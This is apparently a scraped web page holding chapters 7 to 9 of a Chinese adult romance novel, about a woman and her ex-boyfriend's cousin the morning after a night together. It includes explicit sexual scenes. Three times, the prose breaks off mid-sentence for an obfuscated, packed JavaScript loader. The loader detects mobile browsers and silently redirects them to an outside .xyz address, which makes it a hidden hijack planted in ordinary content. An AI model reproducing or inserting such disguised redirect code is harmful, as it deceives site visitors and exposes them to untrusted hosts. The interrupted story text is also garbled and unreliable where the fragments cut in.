她身上时时萦绕的那股苦凉惨绿的广藿玫瑰香略略淡了下去。取而代之的,是言漱礼用惯的皂感焚香。可是又与他的味道不尽相同。仿佛掺了一把湿淋淋化开的糖,揉杂费洛蒙的奇异香气。 言漱礼钳住她的脸,不露声色在她颈间嗅了嗅,手臂忍耐地箍紧,错觉自己抓住了一缕在暴雨夜出没的阁楼幽灵。 他高挺的鼻尖戳在她颊边,吐息温热,眼底幽深一片,不忘风度翩翩地事先征求同意,“要接吻吗。” 李絮侧了侧头,密匝匝的睫毛这次是真的扫在了他脸上。 “不了吧。” 呢喃的咬字携着她特有的风情,轻而低柔,连拒绝都讲得旖旎多情,“你吃了芒果,我会过敏。” 顿了顿,又很替他着想似的,接连抛出理由,“况且,你好不容易戒了酒。” 多么充分的借口。 令人不得不接受。 于是言漱礼的手很有风度地离开了她的脸颊,在她唇环边缘克制地揩了一下。坚硬的金属触感。比想象更温暖一些。 他将手撑在大理石边缘,居高临下瞥落一眼,又再讲了同一句话,“不想笑不用勉强笑。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042073|162575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李絮眉眼弯弯,颊边挤出浅浅梨涡,笑得很靓,又很软。像她身上的丝裙,单薄得什么都遮不住。 “很难看吗。” 言漱礼平静而淡漠地注视着她,嗓音略微发哑,说,“很让人为难。” 她不知道自己在轻轻发抖。 澄黄灯光下,夜晚像黄油融化,彼此靠得这样近,一切都无所遁形。 溺在那双仿佛洞悉一切的眼睛里,李絮同时感到痛苦与软弱。她不知道自己这样做究竟有没有意义,但是她已经失去其他选择,惟有主动环住言漱礼的脖子,仰头亲了亲他锋利的下颌。 “你那么聪明,不该有解不开的难题。” 又是这样。 又是这么不管不顾、莽莽撞撞地往人眼底心口剐一刀。 言漱礼喉结滚了滚,一句话都没有再说,面对面将她揽住,没有给她第三次逃脱的机会。 夜被暴雨围困。 床软得像云朵。 在幽咽逼仄的拥抱中,李絮的肺叶像骤然冲上陆地的鱼那样不知所措地急促起伏。她感到一股来自本能的恐慌,胃部像被蛛网层层牵扯绞紧,勒出细细密密的反胃感。 然而,与此同时,她又感到自己被一种古怪的安定感拥裹住了。 她没有像过往每一次半途而废那样,光是目睹异性的身体变化,就条件反射地当即吐出来。 或许因为此刻拥抱她的人是言漱礼。 她不会透过那双琥珀色眼睛,看见任何一张令她作呕的脸,任何一具犹如濒死之物在沼泽里抽搐的躯体。也不会从他口中听见任何一句虚情假意的形容,任何一个亲密的、折辱的名字。 他不会怜悯她,不会欺骗她,更不会向她售卖或讨要真心。 “…言漱礼。” 李絮将他手臂抓出了血痕,很轻很慢地唤他名字,像哽咽,又像微风在寻找风。 言漱礼没有表现出任何不悦,屈肘撑在枕边,用湿润的嘴唇蹭了蹭她的梨涡,吐息滚烫,低低应她,说“嗯”。 他很不熟练。 简直像是毫无经验。 但神情一如既往镇定。正式进入之前,还压抑着呼吸,耐心重看了一遍说明书。试过一个尺寸不对,又换另一个。 明明只喝了极浅的量,李絮却感觉身体即将溶解在酒精与亲吻里。她耳朵红得滴血,脑际嗡嗡作响,意识昏昏沉沉,内心覆盖潮水般的不安与惧怖,又被温热的手掌小心翼翼抚平。 言漱礼的房间昏暗、开阔而隐秘,浸染在一种梦幻般静谧的氛围里,到处都是潮湿的绿意与灼烧的海浪。 灯暗得像月光。 镶嵌着各式珠宝的吊顶距离他们好远。用钻石代替满天星辰,昂贵且朦胧,像真实的夜空。 而李絮是旷野之中的植物一株。 体温相贴,犹如刀斧劈落,将两株完全不相称的树强行枝接在一起。怪异而鲜活。诡丽而暴烈。 李絮像习惯自己的手脚一样习惯别人赠与的痛苦,却不习惯被人瞵视伤口的形状。以至于每当言漱礼停下来注视她,安抚亲吻她耳骨,她都忍不住报复似的咬他肩膊。 枝接而成的树在生长。 四野漫漫,整个夜晚都浸泡在倒灌的海水之中,彼此连接处,雨不停溅到他结实的腹肌上。 即便是在这种时刻,言漱礼亦非常沉默,既不甜言蜜语,也不污言秽语。 他无所谓那点猫挠似的痛,只将李絮严丝合缝抱得很紧。并谨记她一而再再而三的拒绝,绅士地避开嘴唇,轻轻吻走了挂在她腮颊上的泪珠。 7. 07 07 李絮是被一股沉重的力压醒的。 浑身像被车来回碾了几遍,头也隐隐作痛,明明没喝几口,居然久违地出现了类似宿醉的后遗症。 惺忪睁眼,心口赫然趴着一团肉粉色。她一动,它就“咪呜”一声,轻巧敏捷地从鹅绒被上跳下来。 Sphynx睁着一双湛蓝猫眼,做梦似的,懒懒打量着占据了主卧半张床的客人。 李絮一见它就心脏软软,浑身不适都散了大半。环顾一周,它的主人不在,默默松了口气。感觉它并不抗拒,才慢慢伸手摸了摸它光秃秃的脑袋。 “好可爱。”她沙着嗓音微微笑,“要是还有机会再见面就好了。” 李絮对这种软萌黏糊的小动物,有种叶公好龙式的喜爱。 小时候看迪士尼,对里面总是歪嘴油腻笑的王子不怎么感兴趣,但一度非常羡慕各个公主轻松俘获动物朋友的超能力。 手机不在身边,房间也没有任何提示时间的钟表。尽管她实在很有些困,很想继续睡个回笼觉,但毕竟不是在自己家,醒都醒了,没有赖床的道理。 行李箱还泊在浴室门口。她裹着浴巾在里面翻了条斜裁小黑裙出来,低头摸了摸自己脖子,担心有痕迹,又换了件丝巾领衬衫和一条阔腿裤。 进去一瞧镜子,脖子是没什么,但心口留了好几处印子。昨晚第一回磕磕绊绊,做得堪称折磨,李絮腰抖腿软简直想死,言漱礼结束后一言不发抱她去浴室,洗着洗着不知怎么又来了一回。这次不太痛,有了其他奇异感,但时间拖太长,没完没了,渐渐演变成另一种折磨。完了精疲力尽,准备倒头就睡,结果又被面对面抱着弄了最后一回。 醒来眼皮都是肿的,李絮腹诽心谤,没敢细看哪里破没破皮。匆匆洗漱淋浴,五分钟化淡妆,换了身体面衣服出来。 行李箱很快收拾好,上了锁。手袋和风衣放在餐厨岛台。她仔细检查一遍,确认自己没落下什么东西,直接推着往外走。 与主卧刻意滞留在夜晚的氛围不一样,外面的世界和风丽日,早已雨过天晴。 澄澈的日光从玻璃幕墙洒进来,暖洋洋的,将绿植晒出蒙茸的边缘,像参差的林梢,又似宣纸的毛刺。 李絮的手袋搭在吧台椅上,翻了翻,没找着手机。 懵懵回想自己昨晚的轨迹。在陈彧第二通电话打过来的时候,她直接挂断,回了两条信息,随后就调成飞行模式,一直塞在了手袋里。 会忘在哪里? 睡眠不足,脑子有些迟钝。李絮揉着太阳穴站了十几秒,后知后觉反应过来,屋里隐隐约约有人在讲话的声音。 顺着门廊往里走,书房的双开门没关。言漱礼单穿衬衫西裤,没打领带,坐在覆盖皮革的大理石办公桌后,神情冷峻,听多说少,正在开视频会议。 他没戴耳机,语音是外放,对面有位女士在一丝不苟地汇报工作进度。全英沟通,句中夹杂很多生物医药领域专业词汇,李絮听不太确切,但模模糊糊可以拼凑出来意思,是在讲NMAA公司最近正在自主研发中的FIC新药,以及一项licensein药物的临床试验。 李絮无意打扰,提起的步伐又落下,迟疑等在门边,与翘着尾巴亦步亦趋跟来的Sphynx大眼瞪小眼。 不过少时,待那位女士发言完毕,就听言漱礼简单几句打断进程,将会议推迟至下午继续。 身后传来些微响动,有人走近,晴日给言漱礼身缘着上一层明净的光。 “醒了?”他声线一如既往无波无澜。 “嗯。”李絮倒声音倒沙沙地哑了,尾音有一点点吞字,显出某种不自觉的风情,“早安。” 人在有过肌肤之亲以后,相处氛围会产生微妙变化。就像一杯白开水掺了轻熟龙舌兰,乍看之下还是清澈,然而仔细一尝,又多几分难言滋味。 好在这种快餐式的性即用即抛,分量约等于无,一杯水浊了还有下一杯。李絮不认为这会影响到他们形似陌生人的关系。 “是不是打扰到你了?”知道他厌烦那种形式化的社交微笑,李絮就也懒得谄媚,只细细声解释,“我在找手机,不知道昨晚丢在哪里了。” 没想到就在他手里。 “有个程序一直在响。”言漱礼言简意赅,“我调了静音,看见电量跳到11%,自作主张帮你充了一会儿电。” “谢谢。”李絮接过手机,滑开屏幕关掉提醒,“应该是Liam。” 言漱礼掀了掀眼皮,“Liam?” “我的电子宠物。”李絮其实不想多话,但沉默会显得气氛更糟糕,就随便亮了一下墙纸。 是从《小小旅人》这款养成游戏截的图。 游戏主角Liam,是一只来自异世界的小怪兽。形象是黑糊糊漂浮在半空的一团像素,下垂眼,三角鼻,身穿一件破破烂烂的旧披风,肚子上还有一个魔法口袋,非常像一只仰泳的小海獭。 由于在太空旅行途中突发事故,飞行器故障,小怪兽Liam不幸掉落到与玩家同时间线的地球上。 Liam每天需要吃掉很多很多爱心,用以维持在地球活动的能量,还要耗费很多很多金币,用以维修自己破损的跃迁飞行器。 爱心和金币怎么赚取呢? 这就要靠Liam自食其力了。 什么养鸡钓鱼种田砍树挖矿打怪啦,去餐厅兼职摊煎饼啦,时不时给邻居送点人情礼物涨好感度,还可以推进支线剧情,升级农畜战斗工具。 可怜的小怪兽,为了早日返回遥远的母星,只能化身外地打工仔,每日在人类世界忙得团团转。到了夜晚收工,还要朝气蓬勃地给不知道能否收到信号的妈妈寄“我很健康哦!”诸如此类报平安的影像信,从无回音。 李絮第一次玩,大概是在高中。 当时在刷微博,不小心碰到了AppStore的广告推荐。跳转后见画风挺复古可爱,随手滑了一下详情页,结果误触下载,因为占内存很小,眨眼间就安装好了。 秉着下都下了的想法,注册登陆,闲闲操作了没几分钟,内心就嫌弃怎么会有这么无聊又低智的游戏,国内的游戏公司真是什么阿猫阿狗都在赚钱。 结果她无聊又低智地玩了将近六年,在意大利都要挂加速器回国服做每日日常。 李絮当然不会把这种琐碎细节分享给言漱礼,也不认为他会感兴趣。她很快收起手机,颊边挤出浅浅梨涡,对他诚恳一笑,“那不打扰你工作了,我这就走。下次有机会再见。” 她转身太干脆,言漱礼差点没能捉住她手腕。 “我叫人送了南屏公馆的早茶过来。”他眉心微蹙,唇线抿平,又是那副有人惹他不高兴的冷峭神情。 “还是不麻烦了。”李絮客气婉拒,“怪我睡太久,你都没去成公司。其实你早点叫醒我也没关系的。” 言漱礼将她手腕握得更紧,语气平静,实则态度强硬,“已经送过来了。” 还挺讲究待客之道。 李絮不太擅长拒绝这样的言漱礼,于是从善如流,没有再坚持。 南屏公馆是云城赫赫有名的广府菜餐厅。物以稀为贵,和奢侈品设置消费门槛一个道理,这家餐厅规矩繁琐,每日只开晚市,限制预约十桌食客,季节性菜单由主厨完全掌控,消费者只能被动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042074|162575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接受。 李絮在云城生活这么多年,还是头一回吃到南屏公馆出品的早茶。 不过她口味不挑剔,对饮食要求不高,只要水平差不多过得去,都可以被她统一划入“好吃”的范畴。 言漱礼将厨房保温存放的菜品一样样拆出来。黑松露烧麦、藤椒虾饺、清汤牛腩、轻煎金枪鱼、金橙酥皮蛋挞……琳琅精致摆了小半桌,又起了一壶凤凰单丛解腻。 李絮不多言,默默低头喝一碟开胃的松茸清汤翅。 餐桌是长方形的,言漱礼坐在她对面,没怎么动筷子,多数时间在慢条斯理地吃一碗蟹肉泥丁粥。 他用餐很有教养,仪态优雅贵气,看起来是那种奉行“食不言寝不语”的类型。李絮心刚落下,没料到下一秒,美好的沉默就被打破。 “还痛不痛。”他口吻平直,不紧不慢看向她。 不确定对方问的究竟是什么,李絮停下舀汤的匙羹,谨慎地确认了一句,“你指的是?” “腰。脚踝。”言漱礼道,“其他地方我检查过了,没有弄伤。” 李絮闻言低了低头,将阔腿裤裤脚稍稍提起,左边脚踝果然淤青了一圈。刚刚睡醒还洗了澡,居然一直没留意到,真是精神不济。 难免回想起昨夜被硬生生按住胯骨的记忆。她被压得抽筋,他直起身,一边放慢动作,一边沉默揉她绷直的肌肉,鼻梁贴住她小腿肚拭汗。后来揉变成了攥,力度没收住,她皮肤太薄,迅速留下直白痕迹。 失去夜色遮掩,又经言语剖露,许多暗昧细节被迫敞露在日光底下。所幸他们两个都不是会表露尴尬的类型,李絮是装作厚脸皮,言漱礼则是完全自洽。 她不肯表现出局促,神色自若笑了笑,“没事,我回去热敷一下就好。” 桌上的肉类一筷子没动,言漱礼面无表情将一屉素食翡翠饺移到她面前,“吃完你可以继续睡。” 李絮慢下咀嚼,若有所思睇着他。 “我回公司。”言漱礼补充,“你自己睡。” “不合适吧。”李絮谢过好意,夹起一枚剔透的翡翠饺放进碗里,“我今天也约了人见面,就不打扰了。” “这样去赴约?”言漱礼审视般看她,“你眼睛很肿。” “眼浅。一掉眼泪就停不下来。”李絮大方承认,“过段时间就消了。” 言漱礼独居的家,没有摆放那种动辄横宽三米的浮夸餐桌。他四肢修长,轻而易举就将手伸了过来,抚上她隐隐发红的眼尾。 这双眼睛很漂亮,瞳仁黑而清澈,像有一页湖泊在轻轻晃动。 密匝匝的睫毛鸦羽般扫在指尖。 暖而干燥。 “别蹭花了。”李絮抓住他的手,好声好气同他商量,“这回真的是眼影。” “像又哭了。”言漱礼反握住她纤细的手指,很没礼貌地评价女士的妆容,声音很低,又像意味不明的困惑,“怎么会哭成那样。” 李絮感觉有点危险。 不论是彼此的目光、姿态、抑或言语秘而不宣的氤氲。 她心脏空跳一拍,亟欲摆脱这种若即若离的事后氛围,没来得及深思熟虑,就随口扯了句泼冷水的玩笑话。 “因为刚开始真的很痛。你以前的女伴是不是没跟你坦白过,你硬件超标,但技术真的不怎么样。” 话音刚落,就觉失言。 而言漱礼紧接着的回答,则令她更加懊悔。 “抱歉。” 在十几秒诡异的沉默过后,言漱礼慢慢收回手,轻描淡写道,“之前没有经验。” “……” 李絮陡然感到一阵天旋地转的晕眩。 8. 08 08 李絮没有想过,自己有朝一日会在言漱礼口中听到“抱歉”两个字。 诚然,他是个有教养的绅士,再怎么性情冷漠,眼高于顶,仍会讲究风度地使用“劳驾”、“多谢”此类礼貌用语。 但这仅仅只是一种形式化的礼仪,不代表他本人懿恭和气,愿意低头揽错。 尤其是在当下这种情境。 艰难将话中信息消化完毕,李絮勉强启齿,试图补救,“…其实也没那么烂。我开玩笑的。” 这大概很难算作一句令人满意的转圜。 言漱礼没什么反应,既无气急败坏,也无强颜欢笑。好吧。这两个词估计这辈子都不会出现在言漱礼身上。 他慢慢吃完自己那碗粥,瞥一眼李絮见底的骨瓷汤碟,淡声问,“喜欢这个?还有一份鱼子酱酸汤翅,要么。” 但凡稍有眼色的人,都不会在此时讲出拒绝的话。李絮点了头,机械地开始吃今天第二碗汤翅。 沉默像灰尘一样落到彼此身上。 李絮察言观色,眼神闪烁,难得显出些小心翼翼。 “Leon.”她拿一双心虚的眼瞥他,小小声试探,“你生气了吗。” 言漱礼因为这声称呼抬起视线,没什么表情地睨着她,“实事求是,为什么生气。” 李絮先是慎重猜测这话有几分可信度,见他没表现出什么负面情绪,心慢慢落回原处。安定了几分钟,思绪又不受控制地飘忽起来,滋生出一股半信半疑的好奇心。 反正他们之间不可能有什么不切实际的发展,以后还会不会再见面都难讲。 李絮压不住涌动的窥探欲,做好了随时被扫地出门的准备,略有迟疑地开口,“我能不能问为什么?” 言漱礼平静道,“什么为什么。” “为什么——”李絮顿了顿,谨慎措辞,“没经验?毕竟以你所处的圈子而言,这种情况应该不太多见。” 天生好命生于金山银矿的富贵子女,不受古旧观念约束,不必压抑欲望躁动,也不缺优质性资源,多在踏入荷尔蒙旺盛的青春期就已深谙男女事。 玩得花的男孩尤其多。性经历就如同某种勋章,越丰富,就越值得炫耀。比起被嘲讽学习和运动能力不佳,被取笑在风月场上一窍不通,反而更易令雄性动物破防。 然而,言漱礼坦然自若地承认了,这个从特定角度而言的所谓弱点。 面对李絮的提问,回答得也简明扼要,“没需求。” 李絮颦了颦眉,明显持怀疑态度,“你昨晚的表现,看起来不像没需求。” “没需求不等于没功能。”言漱礼丝毫不乱,目光对上她的,“我给过你机会,让你避免这件事发生,是你坚持要继续。” “是我主动。我承认。”李絮不是不认账的人,认输似的摊了摊手,毫不辩驳担下这主次分明的责任划分,“但你看起来也没有在认真拒绝。” “我为什么要拒绝。”言漱礼漠然挑明,“你明目张胆利用我,却连这点代价都不想付?” 啊。 李絮暗暗讶异一瞬,倏尔涌现一种难以名状的情绪。 他们果然彼此心照不宣。 昨夜还认为彼此无话可聊,今日非日常的话题一打开,李絮却骤然感觉与言漱礼之间的对话变得有趣起来。 “假设你说的是真的。”方才的忐忑一扫而空,她支着下巴,饶有兴味向他投去一眼,“那你为什么会答应我?我的意思是,你的可选范围太广了,我对你而言,应该不算一个太合适的初体验选择。” 言漱礼放下筷箸,与她四目相对,没有表现出任何不耐烦,像在探讨什么严肃的课题,“怎么判断所谓合适的标准?” “外貌。性格。学历。家世。各方面契合程度。”李絮为他遴选,脑海中不由自主浮现那只Constance19的主人,“你的追求者中,不乏条件优越的人选。” “处理亲密关系很麻烦。”言漱礼声线平平,“无论是长期恋爱,还是短期交易,我都不感兴趣。” “性也不一定和亲密关系挂钩。”李絮理智地没有拿他们自己举例,“至少,其他人不会给你和陈彧之间的关系带来什么麻烦。” “多虑。”言漱礼道,“陈彧暂时还没资格给我带来什么麻烦。” 李絮觉得好有意思,忍不住轻轻抿唇笑了起来,“你表弟听到这话该伤心了。” 言漱礼似乎不怎么热衷于与她讨论关于陈彧的话题,随手提起紫砂壶往茶海倾倒,斯文周到地给她换了一杯新茶。 “没经验,是什么值得惊讶的事吗。”他垂着眼,形容冷峭,无风无雨地开口,“人类进行性行为的根本原因,无非三种——繁衍后代、追逐快感和利益交换。其一,我暂时没有婚姻计划。其二,比起频繁更换临时性伴侣,运动和工作的效益更高、风险更低,期间所产生的多巴胺和内啡肽不会有本质的不同。至于其三,这世上恐怕不存在值得我出卖色相的人和事。” ——好傲慢的一个人。 听得李絮不由感慨。 他既非生理性的无能,又非心理性的冷感,更像某种人工智能奉行最优路径般的自矜与洁癖。 性对他而言可有可无,并不重要,重要的是简洁高效的运行模式。所以他只专注于自身的状态、学习、事业,懒于步入任何亲密关系,避免将自己的时间空间匀给旁人。 听起来有种脱离现实的反常。但他举手投足之间流露的气质,又令人不得不承认,只要他坐在这里,不必长篇累牍地阐述证明,就足以说服人。 说不惊讶是假的。 但李絮掩饰得很好。 “对号入座,我是动机明确的第三种。”她睫毛眨了眨,先将自己和盘托出,再似无觉察微笑试探,“那么,Leon,你呢。” 言漱礼一动不动,视线落在她脸上,呈现出一个定格般的、思考的姿势。周围充盈的日光无声旋转,洒在他英俊锋利的侧脸,令一切显得明亮而幽静。 沉默在此刻仿佛有重量,兀自锤炼出一种无形的气场。 “你哭了。”他低声,“我不反感。” 有些意外。 “…是我太幸运,正好撞上了你乐于助人的机会?”李絮玩味地挑了挑眉,忍住阴阳怪气的冲动,很快调整了语气,“没有其他人对你用过这招吗?投怀送抱,死缠烂打,装可怜掉眼泪之类的。男男女女都一样,你应该遇见过很多。” 言漱礼没有在意她的冒犯,目光垂落,好整以暇呷了一口乌龙,“没有机会。” 讲得含糊,是没有机会遇到,还是没有给别人这个机会? 不过横竖都说得通。 言漱礼履历华丽,五年提前修完哈佛医学院的本硕学分,毕业又即刻回国接手NMAA的创新药自主研发项目,一路高压走来,确实不是什么游手好闲、耽于享乐的二世祖。 “说实话,我有点不太相信,你居然会对性持这么慎重,或者说,这么新鲜的态度。且不谈爱不爱那套抽象的理论,我以为你们都习惯将这当成某种不可或缺的生活调剂品。” 那些正经交往、闲时消遣的不算。李絮印象最深是他和陈彧有个叫Travis的同学,一个官二代,家世显赫,经历夸张,十六岁就差点跟一群人一起把自己玩废在床上。家里人费尽心机养了几年,到现在还是男女不拒荤素不忌,瘾完全戒不掉。 而言漱礼活得像Travis的反义词。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042075|162575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的生活很忙。”他无动于衷地直视她,“不需要堕落,也不需要那种浅薄的安慰剂。” “性是堕落吗。” “浪费时间是堕落。” 活得堕落的李絮非常认同他的观点,但又更觉疑惑,近似惋惜地笑出来,“越讲越难理解,你为什么会愿意在我身上浪费时间。” 言漱礼静静等待了半晌,声音听起来清晰而冷酷,“你觉得呢。” “我觉得?”李絮漫不经心地揣测,“我觉得要么你在诓我,拿我寻开心。要么,你在可怜我。” 言漱礼风轻云淡,似乎并不在意她是否相信,“你把我想得太有人情味了。” “是吗。可是我觉得你比我印象中要心软很多。”李絮眉梢眼角携着曼妙笑意,言语几近轻佻,“我都差点自作多情地以为你有几分喜欢我。” 言漱礼没有作声,手指把玩着茶船里没有派上用场的闻香杯,一言不发地撩起眼皮打量她。 “是吗。”他面无表情学她言辞,“你这样想。” 这个年轻的天之骄子。 有时实在英俊得令人心悸。 任何不怀好意的、扭曲的、诋毁的话语,仿佛都难穿透无形的屏障,在他周遭留下痕迹。 “…开玩笑的。”李絮很快收敛,以虚伪的社交微笑收尾,请他原谅自己拙劣的幽默感,“昨夜雨下那么大,很感激你收留我。” 这个不适宜出现在餐桌上的话题至此揭过一页。室内重新恢复静谧,却有什么藕断丝连似的遗留下来,像Sphynx柔软的小尾巴,不受控制地扫过空气。 相安无事的缄默中,用餐即将结束,随意搁置在一旁的手机却突然嗡嗡响起。 李絮拿起来一瞧,来电显示不出所料,又是锲而不舍的陈彧。 她没有接听,按了一下侧键,关掉震动,随他一遍又一遍继续耗费电量。 同处一室,距离又近,言漱礼显然留意到了。 “你和陈彧真的分手了?”他目光微凝,冷不丁问起。 李絮笑了笑,不置可否,“这个问题,不是应该昨晚就问清楚的吗。” “所以。”言漱礼不为所动,“答案呢。” “放心吧。”李絮柔声,“你没做什么有违道德的事,以后也可以安安心心继续跟他做表兄弟。” 言漱礼摩挲闻香杯的动作肉眼可见地停了一下,静了少时,才又缓缓恢复,“我还以为你要拿这件事报复他。” “我后悔了。”李絮造作叹气,表演出一种苦恼过后的迷途知返,“拖无辜的人下水,未免太过卑鄙。” 言漱礼缓缓抬起视线,眼底划过一丝难以捉摸的晦暗,“那你未免太过滥好心。我睡了表弟的女朋友,三次,你还认为我无辜。” “前女友。”李絮纠正他的措辞,坚决捍卫他的道德立场,并试图以一种更为轻松的态度结束这场意外,“抱歉。就当是我昨晚头脑发热,硬拖着你参加了一场无关紧要的性实验好了。虽然浪费了你一点宝贵的时间,但万幸不会造成更大损失。” 空气仿佛一下子掉到了地上,屋室霎时间寂静无声。 “‘性实验’。”言漱礼冷冷咀嚼了一遍这个词,似觉荒谬,看向她的目光如有实质,“你想要验证什么。” 本就是胡诌,李絮半真半假地吐字,似敷衍,又似挑衅,“大概,跟不喜欢的人是不是也可以做这件事?” 言漱礼下颌微微收紧,声音越发沉下去,“结论呢。” 手机来电再度亮起。李絮拿在手中,瞥落一眼,这次没有挂断,反而直接滑开了接听键。 “显而易见。” 她示意失礼,微笑起身离席。 “你可以。我也可以。” 9. 09 09 细雨似下非下。 城市静得像海滩,车流像潮汐,霓虹妍丽地躺在明镜般的柏油路面。 隔着朦胧车窗,夜景犹如废弃胶片,帧帧被抛掷身后,拾都拾不起。 “Chiara,你还好吗。” Vanessa远在佛罗伦萨的声音从手机听筒传过来,往常脆生生的声线压低许多,显得忧心忡忡。 “你的男朋友来公寓找过你,我按照你嘱咐的那样,说你这几天去尼斯写生了。他脸色看起来很糟糕,不知道有没有相信,进你房间坐了一会儿就离开了。” “…虽然我知道这位先生不会是什么坏心的人,但Chiara,答应我,注意安全,随时跟我保持联系好吗。最近几日不见,Francesco虽然嘴上不说,但也非常挂念你,假如你有希望避开的人,他很乐意将位于ViaPietrapiana的那间公寓借给你,你可以在那安心完成你的论文。” “谢谢你Vanessa,也替我谢谢Francesco。”李絮笑了笑,柔声安慰她絮絮叨叨的善良朋友,“抱歉没有及时接到你电话,但别担心,我和那个人只是有些问题没有解决好,暂时不想碰面,不会发生什么过激冲突的。不出意外,再过几天我就会返程,到时再请你和Francesco到你喜欢的那家Palagio吃晚餐,好吗?” 她听起来精神奕奕,没有半分萎靡。 Vanessa将信将疑,被李絮温声哄了好几句才逐渐打消疑虑,悬着的心慢慢放下来,恢复了往常的活泼语调,“都怪Francesco总是胡说八道!说你不声不响就跑回国去,又总是不及时回复信息,一定是遇到什么棘手的状况了。” 半是抱怨地咕哝完,又不忘开朗地鼓励李絮,“等你回来,我和Francesco一定会不客气地开一瓶好酒!分手没什么大不了的,Chiara,开心点儿,好好享受你难得的假期。不用担心你的小花园,我会负责给你的柠檬树浇水的!” 李絮抿着笑,再次感谢了她的体贴,又随口闲聊了几句,直到Vanessa要继续捏她的作品去了,才挂断电话。 李絮本硕就读于佛罗伦萨美术学院,本科三年、研究生两年,选的都是新语言表达的绘画方向。 她今年是研究生最后一个学期,已经提前修够学分,申请在夏季七月毕业。如今毕设作品集完成得差不多了,主课教授那边已经算是过关,剩下的只有论文部分。 带她的理论教授人很和善,也好说话,与她定期保持邮件沟通,还常常鼓励她有机会多与米兰的青年画廊和美术馆来往,为日后的工作发展谋求机会。李絮这趟回国,时间其实还算宽裕,行程并不匆促。 前日中午从麓月府匆匆离开,婉拒言漱礼开车相送的好意,她头也不回打车到附近一家酒店,开了间房倒头就睡。 期间没接任何电话,也没回任何消息,直到收到陈彧落地佛罗伦萨的消息,才懒懒收拾形象准备出门。 今晚和霍敏思见面是提前几日定下的,选的地方是在霍敏思名下的一间会员制酒吧。 以沉重混凝土为基调的独栋建筑,镶嵌大面积剔透的玻璃,以灯火或日光消弭空白。结合波浪起伏的线条,茕茕独立于湖心,有种失去重力的漂浮感。 从岸边抵达门口的桥,似迷宫迂回。被风吹皱的湖光在眼前迸碎、弹跳、穿行,有意绕乱人眼。 李絮穿一袭撞色雕塑感连身裙,不对称量感轻盈飘逸,外面搭一件素黑的双面呢大衣,薄薄地挡住风雨。 有侍应生为其撑伞引路,不从正门进,直接坐VIP电梯上五楼。 她视力好,透过玻璃墙,眼尖地发现,今夜酒吧分外清冷,似乎只做一人生意。 五楼是霍老板的自留地,不对外营业,但该有的都有,自用的酒墙甚至比一楼的还要豪华奢侈。 霍敏思是典型的贵气甜美相,圆眼睛,短面中,胶原蛋白足,显得比实际年龄更小几岁。身材却高挑匀称,凹凸有致,与脸不相称地火辣。 这世上不存在美不自知的情况。霍敏思性格张扬,喜欢欣赏美人,也热衷于对外展露自己的美。就算私下玩斯诺克,也要星光熠熠地穿一件挂脖露背上衣,配一条立体折纸阔腿裤。 陪玩的鬼佬教练长得挺帅,衬衫马甲穿得儒雅端正,姿态也讲究,不像是被大小姐养着解闷的地下情人。 见李絮出现,霍敏思百无聊赖的郁气退散,蘧然一笑,将球杆往教练怀里一抛,摆摆手赶了人走,自己笃笃笃踩着穆勒鞋抱过去。 “哇,衰嘢!终于舍得回来了,我要是不飞意大利,半年都见不着你一次!” 她们是大学差两届的前后辈。 佛罗伦萨美术学院的入学考试,比起专业理论知识和美术基本功,更卡门槛的其实是语言考核。临时决定要考佛美的那年,李絮十七岁,准备时间不够,没法走国际生路线,走的是图兰朵计划,先到意大利读了一年预科。 当时租的公寓就在语言学校附近,每天课程很满,又要不断整理完善作品集,压力不可谓不大。 跟霍敏思第一次见,是在公寓走廊,霍敏思date的挪威男孩就住在李絮对面。 两张漂亮的亚洲面孔,携有明显的华人特质,出出入入又总是碰见,彼此都眼熟。后来,在某个独自闲逛乌菲齐美术馆的周末,霍敏思拍了拍李絮的肩,主动跟她打了招呼。 她们就这么成了朋友。 “临近毕业,好忙的嘛。”李絮笑眯眯接住她,亲昵地贴了贴面。 过几秒,又收起笑,低低提醒,“我在楼下见到孙越崎,包了场,一个人坐着。” “不用管。”霍敏思不屑一顾,揽着她往吧台走,“晦气东西,自导自演扮深情呢。” 霍家是云城首屈一指的豪门贵户。自霍耀权从亚港白手起家,至今已福泽孙辈。霍敏思的父亲在兄妹中行二,为人闲散,没什么能力与野望,只负责打理慈善公益相关事业,不触及集团核心利益。但一个霍姓已够压人一头,霍敏思自幼养尊处优长大,极少遭遇什么不顺。 除了孙越崎。 霍敏思和孙越崎在瑞士读同一所国际中学,是彼此初恋,后来闹矛盾不欢而散,大学一个去了美国一个去了意大利。 去年前后脚学成归国,被不知前事的长辈做主定下婚约,男女双方都没表现出抗拒,莫名其妙地,天雷勾地火,就又吃起回头草默默复合了。 